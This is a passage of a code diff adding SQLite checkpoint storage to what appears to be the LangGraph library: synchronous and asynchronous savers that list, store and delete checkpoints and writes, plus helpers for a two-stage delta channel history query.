CheckpointMetadata, + json.loads(metadata) if metadata is not None else {}, + ), + ( + { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": parent_checkpoint_id, + } + } + if parent_checkpoint_id + else None + ), + [ + (task_id, channel, self.serde.loads_typed((type, value))) + for task_id, channel, type, value in cur + ], + ) + + def list( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> Iterator[CheckpointTuple]: + """List checkpoints from the database. + + This method retrieves a list of checkpoint tuples from the SQLite database based + on the provided config. The checkpoints are ordered by checkpoint ID in descending order (newest first). + + Args: + config: The config to use for listing the checkpoints. + filter: Additional filtering criteria for metadata. + before: If provided, only checkpoints before the specified checkpoint ID are returned. + limit: The maximum number of checkpoints to return. + + Yields: + An iterator of checkpoint tuples. + + Examples: + >>> from langgraph.checkpoint.sqlite import SqliteSaver + >>> with SqliteSaver.from_conn_string(":memory:") as memory: + ... # Run a graph, then list the checkpoints + >>> config = {"configurable": {"thread_id": "1"}} + >>> checkpoints = list(memory.list(config, limit=2)) + >>> print(checkpoints) + [CheckpointTuple(...), CheckpointTuple(...)] + + >>> config = {"configurable": {"thread_id": "1"}} + >>> before = {"configurable": {"checkpoint_id": "1ef4f797-8335-6428-8001-8a1503f9b875"}} + >>> with SqliteSaver.from_conn_string(":memory:") as memory: + ... # Run a graph, then list the checkpoints + >>> checkpoints = list(memory.list(config, before=before)) + >>> print(checkpoints) + [CheckpointTuple(...), ...] + """ + where, param_values = search_where(config, filter, before) + query = f"""SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata + FROM checkpoints + {where} + ORDER BY checkpoint_id DESC""" + if limit is not None: + query += " LIMIT ?" + param_values = (*param_values, limit) + with self.cursor(transaction=False) as cur, closing(self.conn.cursor()) as wcur: + cur.execute(query, param_values) + for ( + thread_id, + checkpoint_ns, + checkpoint_id, + parent_checkpoint_id, + type, + checkpoint, + metadata, + ) in cur: + wcur.execute( + "SELECT task_id, channel, type, value FROM writes WHERE thread_id = ? AND checkpoint_ns = ? AND checkpoint_id = ? ORDER BY task_id, idx", + (thread_id, checkpoint_ns, checkpoint_id), + ) + yield CheckpointTuple( + { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint_id, + } + }, + self.serde.loads_typed((type, checkpoint)), + cast( + CheckpointMetadata, + json.loads(metadata) if metadata is not None else {}, + ), + ( + { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": parent_checkpoint_id, + } + } + if parent_checkpoint_id + else None + ), + [ + (task_id, channel, self.serde.loads_typed((type, value))) + for task_id, channel, type, value in wcur + ], + ) + + def put( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Save a checkpoint to the database. + + This method saves a checkpoint to the SQLite database. The checkpoint is associated + with the provided config and its parent config (if any). + + Args: + config: The config to associate with the checkpoint. + checkpoint: The checkpoint to save. + metadata: Additional metadata to save with the checkpoint. + new_versions: New channel versions as of this write. + + Returns: + RunnableConfig: Updated configuration after storing the checkpoint. + + Examples: + + >>> from langgraph.checkpoint.sqlite import SqliteSaver + >>> with SqliteSaver.from_conn_string(":memory:") as memory: + >>> config = {"configurable": {"thread_id": "1", "checkpoint_ns": ""}} + >>> checkpoint = {"ts": "2024-05-04T06:32:42.235444+00:00", "id": "1ef4f797-8335-6428-8001-8a1503f9b875", "channel_values": {"key": "value"}} + >>> saved_config = memory.put(config, checkpoint, {"source": "input", "step": 1, "writes": {"key": "value"}}, {}) + >>> print(saved_config) + {'configurable': {'thread_id': '1', 'checkpoint_ns': '', 'checkpoint_id': '1ef4f797-8335-6428-8001-8a1503f9b875'}} + """ + thread_id = config["configurable"]["thread_id"] + checkpoint_ns = config["configurable"]["checkpoint_ns"] + type_, serialized_checkpoint = self.serde.dumps_typed(checkpoint) + serialized_metadata = json.dumps( + get_checkpoint_metadata(config, metadata), ensure_ascii=False + ).encode("utf-8", "ignore") + with self.cursor() as cur: + cur.execute( + "INSERT OR REPLACE INTO checkpoints (thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata) VALUES (?, ?, ?, ?, ?, ?, ?)", + ( + str(config["configurable"]["thread_id"]), + checkpoint_ns, + checkpoint["id"], + config["configurable"].get("checkpoint_id"), + type_, + serialized_checkpoint, + serialized_metadata, + ), + ) + return { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint["id"], + } + } + + def put_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Store intermediate writes linked to a checkpoint. + + This method saves intermediate writes associated with a checkpoint to the SQLite database. + + Args: + config: Configuration of the related checkpoint. + writes: List of writes to store, each as (channel, value) pair. + task_id: Identifier for the task creating the writes. + task_path: Path of the task creating the writes. + """ + query = ( + "INSERT OR REPLACE INTO writes (thread_id, checkpoint_ns, checkpoint_id, task_id, idx, channel, type, value) VALUES (?, ?, ?, ?, ?, ?, ?, ?)" + if all(w[0] in WRITES_IDX_MAP for w in writes) + else "INSERT OR IGNORE INTO writes (thread_id, checkpoint_ns, checkpoint_id, task_id, idx, channel, type, value) VALUES (?, ?, ?, ?, ?, ?, ?, ?)" + ) + with self.cursor() as cur: + cur.executemany( + query, + [ + ( + str(config["configurable"]["thread_id"]), + str(config["configurable"]["checkpoint_ns"]), + str(config["configurable"]["checkpoint_id"]), + task_id, + WRITES_IDX_MAP.get(channel, idx), + channel, + *self.serde.dumps_typed(value), + ) + for idx, (channel, value) in enumerate(writes) + ], + ) + + def delete_thread(self, thread_id: str) -> None: + """Delete all checkpoints and writes associated with a thread ID. + + Args: + thread_id: The thread ID to delete. + + Returns: + None + """ + with self.cursor() as cur: + cur.execute( + "DELETE FROM checkpoints WHERE thread_id = ?", + (str(thread_id),), + ) + cur.execute( + "DELETE FROM writes WHERE thread_id = ?", + (str(thread_id),), + ) + + def get_delta_channel_history( + self, *, config: RunnableConfig, channels: Sequence[str] + ) -> Mapping[str, DeltaChannelHistory]: + """Fast-path override of `BaseCheckpointSaver.get_delta_channel_history`. + + Two-stage query: + + * Stage 1 (paged): newest-first slice of `checkpoints` returning + `(checkpoint_id, parent_checkpoint_id, type, checkpoint)` per + ancestor. Sqlite has no JSONB, so we ship the full serialized + checkpoint blob and inspect `channel_values` in Python. Pages + newest-first by `checkpoint_id` with a `< cursor` predicate; + page size is `DELTA_PAGE_SIZE`. Stops paging when every channel + has found its seed or the chain is exhausted. + + * Stage 2 (per-channel UNION ALL): one branch per channel reading + `writes` filtered to that channel's specific `chain_cids`. No + separate seed-blob fetch — sqlite stores `channel_values` inline + in the checkpoint blob, so seeds come back from stage 1. + """ + if not channels: + return {} + channels = list(channels) + thread_id = str(config["configurable"]["thread_id"]) + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + checkpoint_id = get_checkpoint_id(config) + if checkpoint_id is None: + target = self.get_tuple(config) + if target is None: + return {ch: {"writes": []} for ch in channels} + checkpoint_id = target.config["configurable"]["checkpoint_id"] + + chain_by_ch: dict[str, list[str]] = {ch: [] for ch in channels} + seed_val_by_ch: dict[str, Any] = {} + walk_state: dict[str, Any] = {} + seeded: set[str] = set() + + with self.cursor(transaction=False) as cur: + cur.execute(DELTA_STAGE1_SQL, (thread_id, checkpoint_ns, checkpoint_id)) + for row in cur: + cid, parent_cid, type_tag, blob = row + if step_walk_with_row( + cid=cid, + parent_cid=parent_cid, + type_tag=type_tag, + blob=blob, + target_id=checkpoint_id, + serde=self.serde, + chain_by_ch=chain_by_ch, + seed_val_by_ch=seed_val_by_ch, + walk_state=walk_state, + seeded=seeded, + channels=channels, + ): + break + + channels_with_chain = [ch for ch in channels if chain_by_ch[ch]] + stage2_sql = build_delta_stage2_sql( + chain_lens=[len(chain_by_ch[ch]) for ch in channels_with_chain], + ) + if stage2_sql: + stage2_params: list[Any] = [] + for ch in channels_with_chain: + stage2_params.extend( + [thread_id, checkpoint_ns, ch, *chain_by_ch[ch]] + ) + cur.execute(stage2_sql, stage2_params) + stage2_rows = cast( + "list[tuple[str, str, str, int, str, bytes]]", cur.fetchall() + ) + else: + stage2_rows = [] + + return build_delta_channels_writes_history( + channels=channels, + chain_by_ch=chain_by_ch, + seed_val_by_ch=seed_val_by_ch, + seeded=seeded, + stage2_rows=stage2_rows, + serde=self.serde, + ) + + async def aget_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Get a checkpoint tuple from the database asynchronously. + + Note: + This async method is not supported by the SqliteSaver class. + Use get_tuple() instead, or consider using [AsyncSqliteSaver][langgraph.checkpoint.sqlite.aio.AsyncSqliteSaver]. + """ + raise NotImplementedError(_AIO_ERROR_MSG) + + async def alist( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> AsyncIterator[CheckpointTuple]: + """List checkpoints from the database asynchronously. + + Note: + This async method is not supported by the SqliteSaver class. + Use list() instead, or consider using [AsyncSqliteSaver][langgraph.checkpoint.sqlite.aio.AsyncSqliteSaver]. + """ + raise NotImplementedError(_AIO_ERROR_MSG) + yield + + async def aput( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Save a checkpoint to the database asynchronously. + + Note: + This async method is not supported by the SqliteSaver class. + Use put() instead, or consider using [AsyncSqliteSaver][langgraph.checkpoint.sqlite.aio.AsyncSqliteSaver]. + """ + raise NotImplementedError(_AIO_ERROR_MSG) + + def get_next_version(self, current: str | None, channel: None) -> str: + """Generate the next version ID for a channel. + + This method creates a new version identifier for a channel based on its current version. + + Args: + current (Optional[str]): The current version identifier of the channel. + + Returns: + str: The next version identifier, which is guaranteed to be monotonically increasing. + """ + if current is None: + current_v = 0 + elif isinstance(current, int): + current_v = current + else: + current_v = int(current.split(".")[0]) + next_v = current_v + 1 + next_h = random.random() + return f"{next_v:032}.{next_h:016}" diff --git a/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/_delta.py b/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/_delta.py new file mode 100644 index 0000000..1fe617f --- /dev/null +++ b/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/_delta.py @@ -0,0 +1,172 @@ +"""Shared helpers for `get_delta_channel_history` on sqlite savers. + +Mirrors the two-stage shape of `BasePostgresSaver` (ancestor walk + +per-channel UNION ALL writes fetch), but adapted for sqlite's +constraints. The structural differences: + +* No JSONB — to inspect `channel_values` for a checkpoint we must + deserialize the full blob. Stage 1 streams the cursor row-by-row and + deserializes only the rows the merged walk visits, freeing each blob + before advancing. +* No separate blob table — `channel_values` lives inline in the + checkpoint, so seeds come back from stage 1 with no second fetch. +* Single merged walk (not K independent walks): each visited cid is + deserialized exactly once, regardless of how many channels are still + seeking their seed. + +The streaming design keeps peak in-flight memory at roughly one +deserialized checkpoint at a time, instead of holding the entire +ancestor chain's worth of raw blobs as a `fetchall()`-materialized list. +""" + +from __future__ import annotations + +from collections.abc import Mapping, Sequence +from typing import Any + +from langgraph.checkpoint.base import DeltaChannelHistory, PendingWrite + +# Stage 1 streams ancestors of `target_cid` newest-first. The `<=` +# predicate keeps target itself in the stream so we can read its +# `parent_checkpoint_id` from the first row without a separate lookup; +# the caller skips target's own writes/seed (matches the +# `BaseCheckpointSaver` contract). +DELTA_STAGE1_SQL = ( + "SELECT checkpoint_id, parent_checkpoint_id, type, checkpoint " + "FROM checkpoints " + "WHERE thread_id = ? AND checkpoint_ns = ? AND checkpoint_id <= ? " + "ORDER BY checkpoint_id DESC" +) + + +def build_delta_stage2_sql(*, chain_lens: Sequence[int]) -> str: + """Stage-2 per-channel UNION ALL fetching writes from `writes`. + + One branch per channel with a non-empty chain. Each branch inlines its + own `IN (?, ?, ...)` placeholder list because sqlite has no array-bind + equivalent of postgres's `= ANY(%s)`. Caller passes parameters in + matching order: `[thread_id, checkpoint_ns, channel, *chain_cids]` per + branch. + + Returns an empty string when no channel has a chain (caller skips + executing in that case). Per-channel UNION ALL avoids the over-fetch + of a single `channel = ANY(channels)` filter when channels have + different chain depths — same rationale as postgres. + """ + branches: list[str] = [] + for n in chain_lens: + cid_placeholders = ",".join("?" * n) + branches.append( + "SELECT checkpoint_id, channel, task_id, idx, type, value " + "FROM writes " + "WHERE thread_id = ? AND checkpoint_ns = ? AND channel = ? " + f"AND checkpoint_id IN ({cid_placeholders})" + ) + return " UNION ALL ".join(branches) + + +def step_walk_with_row( + *, + cid: str, + parent_cid: str | None, + type_tag: str, + blob: bytes, + target_id: str, + serde: Any, + chain_by_ch: dict[str, list[str]], + seed_val_by_ch: dict[str, Any], + walk_state: dict[str, Any], + seeded: set[str], + channels: Sequence[str], +) -> bool: + """Process one streamed stage-1 row in the merged ancestor walk. + + The cursor returns (cid, parent_cid, type, blob) rows in + `checkpoint_id` DESC order starting at target. The first row is + target itself; we read its parent_cid to seed the walk and otherwise + skip it (target's own writes/seed are not part of the contract). + + For each subsequent row, if `cid` matches the walk's current + position, we deserialize the blob, append the cid to every + not-yet-seeded channel's chain, and check `channel_values` for + seeds. The deserialized checkpoint is dropped before advancing — no + cross-row cache, so peak in-flight is one deserialized checkpoint. + + Off-path rows (different branch on the same thread) advance the + cursor without doing any work. + + Returns True when every requested channel is seeded — the caller + can stop iterating and close the cursor. + """ + if "started" not in walk_state: + if cid == target_id: + walk_state["started"] = True + walk_state["cur_cid"] = parent_cid + walk_state["active"] = {ch for ch in channels if ch not in seeded} + # Not target yet (or target not present): keep streaming. + return False + active: set[str] = walk_state["active"] + if not active: + return True + if cid != walk_state["cur_cid"]: + # Off-path row from a sibling branch — skip without deserializing. + return False + for ch in active: + chain_by_ch[ch].append(cid) + ckpt = serde.loads_typed((type_tag, blob)) + channel_values: Mapping[str, Any] = ckpt.get("channel_values") or {} + for ch in [ch for ch in active if ch in channel_values]: + seed_val_by_ch[ch] = channel_values[ch] + seeded.add(ch) + active.discard(ch) + del ckpt, channel_values + walk_state["cur_cid"] = parent_cid + return not active + + +def build_delta_channels_writes_history( + *, + channels: Sequence[str], + chain_by_ch: Mapping[str, list[str]], + seed_val_by_ch: Mapping[str, Any], + seeded: set[str], + stage2_rows: Sequence[tuple[str, str, str, int, str, bytes]], + serde: Any, +) -> dict[str, DeltaChannelHistory]: + """Demux stage-2 rows per channel; produce per-channel histories. + + Stage-2 rows are `(checkpoint_id, channel, task_id, idx, type, value)`. + Final write order is oldest→newest globally and `(task_id, idx)` within + a checkpoint, matching the contract on `DeltaChannelHistory.writes`. + + `seed` is omitted when the walk reached a true root with no snapshot + found (channel never entered `seeded`); consumers treat absence as + "start empty". + """ + writes_by_ch_by_cid: dict[str, dict[str, list[tuple[str, bytes, str, int]]]] = { + ch: {} for ch in channels + } + for cid, ch, task_id, idx, type_tag, value_blob in stage2_rows: + writes_by_ch_by_cid.setdefault(ch, {}).setdefault(cid, []).append( + (type_tag, value_blob, task_id, idx) + ) + for cid_map in writes_by_ch_by_cid.values(): + for ws in cid_map.values(): + ws.sort(key=lambda w: (w[2], w[3])) + + result: dict[str, DeltaChannelHistory] = {} + for ch in channels: + chain_cids = chain_by_ch.get(ch, []) + cid_writes = writes_by_ch_by_cid.get(ch, {}) + collected: list[PendingWrite] = [] + # Chain is newest-first; iterate oldest-first for the public order. + for cid in reversed(chain_cids): + for type_tag, value_blob, task_id, _idx in cid_writes.get(cid, []): + collected.append( + (task_id, ch, serde.loads_typed((type_tag, value_blob))) + ) + entry: DeltaChannelHistory = {"writes": collected} + if ch in seeded: + entry["seed"] = seed_val_by_ch[ch] + result[ch] = entry + return result diff --git a/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/aio.py b/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/aio.py new file mode 100644 index 0000000..368428c --- /dev/null +++ b/libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/aio.py @@ -0,0 +1,738 @@ +from __future__ import annotations + +import asyncio +import json +import random +import threading +from collections.abc import AsyncIterator, Callable, Iterator, Mapping, Sequence +from contextlib import asynccontextmanager +from typing import Any, TypeVar, cast + +import aiosqlite +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + WRITES_IDX_MAP, + BaseCheckpointSaver, + ChannelVersions, + Checkpoint, + CheckpointMetadata, + CheckpointTuple, + DeltaChannelHistory, + SerializerProtocol, + get_checkpoint_id, + get_checkpoint_metadata, +) +from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer + +from langgraph.checkpoint.sqlite._delta import ( + DELTA_STAGE1_SQL, + build_delta_channels_writes_history, + build_delta_stage2_sql, + step_walk_with_row, +) +from langgraph.checkpoint.sqlite.utils import search_where + +T = TypeVar("T", bound=Callable) + + +class AsyncSqliteSaver(BaseCheckpointSaver[str]): + """An asynchronous checkpoint saver that stores checkpoints in a SQLite database. + + This class provides an asynchronous interface for saving and retrieving checkpoints + using a SQLite database. It's designed for use in asynchronous environments and + offers better performance for I/O-bound operations compared to synchronous alternatives. + + Attributes: + conn (aiosqlite.Connection): The asynchronous SQLite database connection. + serde (SerializerProtocol): The serializer used for encoding/decoding checkpoints. + + Tip: + Requires the [aiosqlite](https://pypi.org/project/aiosqlite/) package. + Install it with `pip install aiosqlite`. + + Warning: + While this class supports asynchronous checkpointing, it is not recommended + for production workloads due to limitations in SQLite's write performance. + For production use, consider a more robust database like PostgreSQL. + + Tip: + Remember to **close the database connection** after executing your code, + otherwise, you may see the graph "hang" after execution (since the program + will not exit until the connection is closed). + + The easiest way is to use the `async with` statement as shown in the examples. + + ```python + async with AsyncSqliteSaver.from_conn_string("checkpoints.sqlite") as saver: + # Your code here + graph = builder.compile(checkpointer=saver) + config = {"configurable": {"thread_id": "thread-1"}} + async for event in graph.astream_events(..., config, version="v1"): + print(event) + ``` + + Examples: + Usage within StateGraph: + + ```pycon + >>> import asyncio + >>> + >>> from langgraph.checkpoint.sqlite.aio import AsyncSqliteSaver + >>> from langgraph.graph import StateGraph + >>> + >>> async def main(): + >>> builder = StateGraph(int) + >>> builder.add_node("add_one", lambda x: x + 1) + >>> builder.set_entry_point("add_one") + >>> builder.set_finish_point("add_one") + >>> async with AsyncSqliteSaver.from_conn_string("checkpoints.db") as memory: + >>> graph = builder.compile(checkpointer=memory) + >>> coro = graph.ainvoke(1, {"configurable": {"thread_id": "thread-1"}}) + >>> print(await asyncio.gather(coro)) + >>> + >>> asyncio.run(main()) + Output: [2] + ``` + Raw usage: + + ```pycon + >>> import asyncio + >>> import aiosqlite + >>> from langgraph.checkpoint.sqlite.aio import AsyncSqliteSaver + >>> + >>> async def main(): + >>> async with aiosqlite.connect("checkpoints.db") as conn: + ... saver = AsyncSqliteSaver(conn) + ... config = {"configurable": {"thread_id": "1", "checkpoint_ns": ""}} + ... checkpoint = {"ts": "2023-05-03T10:00:00Z", "data": {"key": "value"}, "id": "0c62ca34-ac19-445d-bbb0-5b4984975b2a"} + ... saved_config = await saver.aput(config, checkpoint, {}, {}) + ... print(saved_config) + >>> asyncio.run(main()) + {'configurable': {'thread_id': '1', 'checkpoint_ns': '', 'checkpoint_id': '0c62ca34-ac19-445d-bbb0-5b4984975b2a'}} + ``` + """ + + lock: asyncio.Lock + is_setup: bool + + def __init__( + self, + conn: aiosqlite.Connection, + *, + serde: SerializerProtocol | None = None, + ): + super().__init__(serde=serde) + self.jsonplus_serde = JsonPlusSerializer() + self.conn = conn + self.lock = asyncio.Lock() + self.loop = asyncio.get_running_loop() + self.is_setup = False + + @classmethod + @asynccontextmanager + async def from_conn_string( + cls, conn_string: str + ) -> AsyncIterator[AsyncSqliteSaver]: + """Create a new AsyncSqliteSaver instance from a connection string. + + Args: + conn_string: The SQLite connection string. + + Yields: + AsyncSqliteSaver: A new AsyncSqliteSaver instance. + """ + async with aiosqlite.connect(conn_string) as conn: + yield cls(conn) + + def get_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Get a checkpoint tuple from the database. + + This method retrieves a checkpoint tuple from the SQLite database based on the + provided config. If the config contains a `checkpoint_id` key, the checkpoint with + the matching thread ID and checkpoint ID is retrieved. Otherwise, the latest checkpoint + for the given thread ID is retrieved. + + Args: + config: The config to use for retrieving the checkpoint. + + Returns: + The retrieved checkpoint tuple, or None if no matching checkpoint was found. + """ + try: + # check if we are in the main thread, only bg threads can block + # we don't check in other methods to avoid the overhead + if asyncio.get_running_loop() is self.loop: + raise asyncio.InvalidStateError( + "Synchronous calls to AsyncSqliteSaver are only allowed from a " + "different thread. From the main thread, use the async interface. " + "For example, use `await checkpointer.aget_tuple(...)` or `await " + "graph.ainvoke(...)`." + ) + except RuntimeError: + pass + return asyncio.run_coroutine_threadsafe( + self.aget_tuple(config), self.loop + ).result() + + def list( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> Iterator[CheckpointTuple]: + """List checkpoints from the database asynchronously. + + This method retrieves a list of checkpoint tuples from the SQLite database based + on the provided config. The checkpoints are ordered by checkpoint ID in descending order (newest first). + + Args: + config: Base configuration for filtering checkpoints. + filter: Additional filtering criteria for metadata. + before: If provided, only checkpoints before the specified checkpoint ID are returned. + limit: Maximum number of checkpoints to return. + + Yields: + An iterator of matching checkpoint tuples. + """ + try: + # check if we are in the main thread, only bg threads can block + # we don't check in other methods to avoid the overhead + if asyncio.get_running_loop() is self.loop: + raise asyncio.InvalidStateError( + "Synchronous calls to AsyncSqliteSaver are only allowed from a " + "different thread. From the main thread, use the async interface. " + "For example, use `checkpointer.alist(...)` or `await " + "graph.ainvoke(...)`." + ) + except RuntimeError: + pass + aiter_ = self.alist(config, filter=filter, before=before, limit=limit) + while True: + try: + yield asyncio.run_coroutine_threadsafe( + anext(aiter_), # type: ignore[arg-type] # noqa: F821 + self.loop, + ).result() + except StopAsyncIteration: + break + + def put( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Save a checkpoint to the database. + + This method saves a checkpoint to the SQLite database. The checkpoint is associated + with the provided config and its parent config (if any). + + Args: + config: The config to associate with the checkpoint. + checkpoint: The checkpoint to save. + metadata: Additional metadata to save with the checkpoint. + new_versions: New channel versions as of this write. + + Returns: + RunnableConfig: Updated configuration after storing the checkpoint. + """ + return asyncio.run_coroutine_threadsafe( + self.aput(config, checkpoint, metadata, new_versions), self.loop + ).result() + + def put_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + return asyncio.run_coroutine_threadsafe( + self.aput_writes(config, writes, task_id, task_path), self.loop + ).result() + + def delete_thread(self, thread_id: str) -> None: + """Delete all checkpoints and writes associated with a thread ID. + + Args: + thread_id: The thread ID to delete. + + Returns: + None + """ + try: + # check if we are in the main thread, only bg threads can block + # we don't check in other methods to avoid the overhead + if asyncio.get_running_loop() is self.loop: + raise asyncio.InvalidStateError( + "Synchronous calls to AsyncSqliteSaver are only allowed from a " + "different thread. From the main thread, use the async interface. " + "For example, use `checkpointer.alist(...)` or `await " + "graph.ainvoke(...)`." + ) + except RuntimeError: + pass + return asyncio.run_coroutine_threadsafe( + self.adelete_thread(thread_id), self.loop + ).result() + + def get_delta_channel_history( + self, *, config: RunnableConfig, channels: Sequence[str] + ) -> Mapping[str, DeltaChannelHistory]: + """Sync bridge to `aget_delta_channel_history`. + + Mirrors the same cross-thread guard as `get_tuple` / + `delete_thread` — calling from the loop thread raises rather than + deadlocking. + """ + try: + if asyncio.get_running_loop() is self.loop: + raise asyncio.InvalidStateError( + "Synchronous calls to AsyncSqliteSaver are only allowed from a " + "different thread. From the main thread, use the async interface. " + "For example, use `await checkpointer.aget_delta_channel_history(...)`." + ) + except RuntimeError: + pass + return asyncio.run_coroutine_threadsafe( + self.aget_delta_channel_history(config=config, channels=channels), + self.loop, + ).result() + + async def setup(self) -> None: + """Set up the checkpoint database asynchronously. + + This method creates the necessary tables in the SQLite database if they don't + already exist. It is called automatically when needed and should not be called + directly by the user. + """ + async with self.lock: + if self.is_setup: + return + await _ensure_connected(self.conn) + async with self.conn.executescript( + """ + PRAGMA journal_mode=WAL; + CREATE TABLE IF NOT EXISTS checkpoints ( + thread_id TEXT NOT NULL, + checkpoint_ns TEXT NOT NULL DEFAULT '', + checkpoint_id TEXT NOT NULL, + parent_checkpoint_id TEXT, + type TEXT, + checkpoint BLOB, + metadata BLOB, + PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id) + ); + CREATE TABLE IF NOT EXISTS writes ( + thread_id TEXT NOT NULL, + checkpoint_ns TEXT NOT NULL DEFAULT '', + checkpoint_id TEXT NOT NULL, + task_id TEXT NOT NULL, + idx INTEGER NOT NULL, + channel TEXT NOT NULL, + type TEXT, + value BLOB, + PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id, task_id, idx) + ); + """ + ): + await self.conn.commit() + + self.is_setup = True + + async def aget_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Get a checkpoint tuple from the database asynchronously. + + This method retrieves a checkpoint tuple from the SQLite database based on the + provided config. If the config contains a `checkpoint_id` key, the checkpoint with + the matching thread ID and checkpoint ID is retrieved. Otherwise, the latest checkpoint + for the given thread ID is retrieved. + + Args: + config: The config to use for retrieving the checkpoint. + + Returns: + The retrieved checkpoint tuple, or None if no matching checkpoint was found. + """ + await self.setup() + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + async with self.lock, self.conn.cursor() as cur: + # find the latest checkpoint for the thread_id + if checkpoint_id := get_checkpoint_id(config): + await cur.execute( + "SELECT thread_id, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata FROM checkpoints WHERE thread_id = ? AND checkpoint_ns = ? AND checkpoint_id = ?", + ( + str(config["configurable"]["thread_id"]), + checkpoint_ns, + checkpoint_id, + ), + ) + else: + await cur.execute( + "SELECT thread_id, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata FROM checkpoints WHERE thread_id = ? AND checkpoint_ns = ? ORDER BY checkpoint_id DESC LIMIT 1", + (str(config["configurable"]["thread_id"]), checkpoint_ns), + ) + # if a checkpoint is found, return it + if value := await cur.fetchone(): + ( + thread_id, + checkpoint_id, + parent_checkpoint_id, + type, + checkpoint, + metadata, + ) = value + if not get_checkpoint_id(config): + config = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint_id, + } + } + # find any pending writes + await cur.execute( + "SELECT task_id, channel, type, value FROM writes WHERE thread_id = ? AND checkpoint_ns = ? AND checkpoint_id = ? ORDER BY task_id, idx", + ( + str(config["configurable"]["thread_id"]), + checkpoint_ns, + str(config["configurable"]["checkpoint_id"]), + ), + ) + # deserialize the checkpoint and metadata + return CheckpointTuple( + config, + self.serde.loads_typed((type, checkpoint)), + cast( + CheckpointMetadata, + (json.loads(metadata) if metadata is not None else {}), + ), + ( + { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": parent_checkpoint_id, + } + } + if parent_checkpoint_id + else None + ), + [ + (task_id, channel, self.serde.loads_typed((type, value))) + async for task_id, channel, type, value in cur + ], + ) + + async def alist( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> AsyncIterator[CheckpointTuple]: + """List checkpoints from the database asynchronously. + + This method retrieves a list of checkpoint tuples from the SQLite database based + on the provided config. The checkpoints are ordered by checkpoint ID in descending order (newest first). + + Args: + config: Base configuration for filtering checkpoints. + filter: Additional filtering criteria for metadata. + before: If provided, only checkpoints before the specified checkpoint ID are returned. + limit: Maximum number of checkpoints to return. + + Yields: + An asynchronous iterator of matching checkpoint tuples. + """ + await self.setup() + where, params = search_where(config, filter, before) + query = f"""SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata + FROM checkpoints + {where} + ORDER BY checkpoint_id DESC""" + if limit is not None: + query += " LIMIT ?" + params = (*params, limit) + async with ( + self.lock, + self.conn.execute(query, params) as cur, + self.conn.cursor() as wcur, + ): + async for ( + thread_id, + checkpoint_ns, + checkpoint_id, + parent_checkpoint_id, + type, + checkpoint, + metadata, + ) in cur: + await wcur.execute( + "SELECT task_id, channel, type, value FROM writes WHERE thread_id = ? AND checkpoint_ns = ? AND checkpoint_id = ? ORDER BY task_id, idx", + (thread_id, checkpoint_ns, checkpoint_id), + ) + yield CheckpointTuple( + { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint_id, + } + }, + self.serde.loads_typed((type, checkpoint)), + cast( + CheckpointMetadata, + (json.loads(metadata) if metadata is not None else {}), + ), + ( + { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": parent_checkpoint_id, + } + } + if parent_checkpoint_id + else None + ), + [ + (task_id, channel, self.serde.loads_typed((type, value))) + async for task_id, channel, type, value in wcur + ], + ) + + async def aput( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Save a checkpoint to the database asynchronously. + + This method saves a checkpoint to the SQLite database. The checkpoint is associated + with the provided config and its parent config (if any). + + Args: + config: The config to associate with the checkpoint. + checkpoint: The checkpoint to save. + metadata: Additional metadata to save with the checkpoint. + new_versions: New channel versions as of this write. + + Returns: + RunnableConfig: Updated configuration after storing the 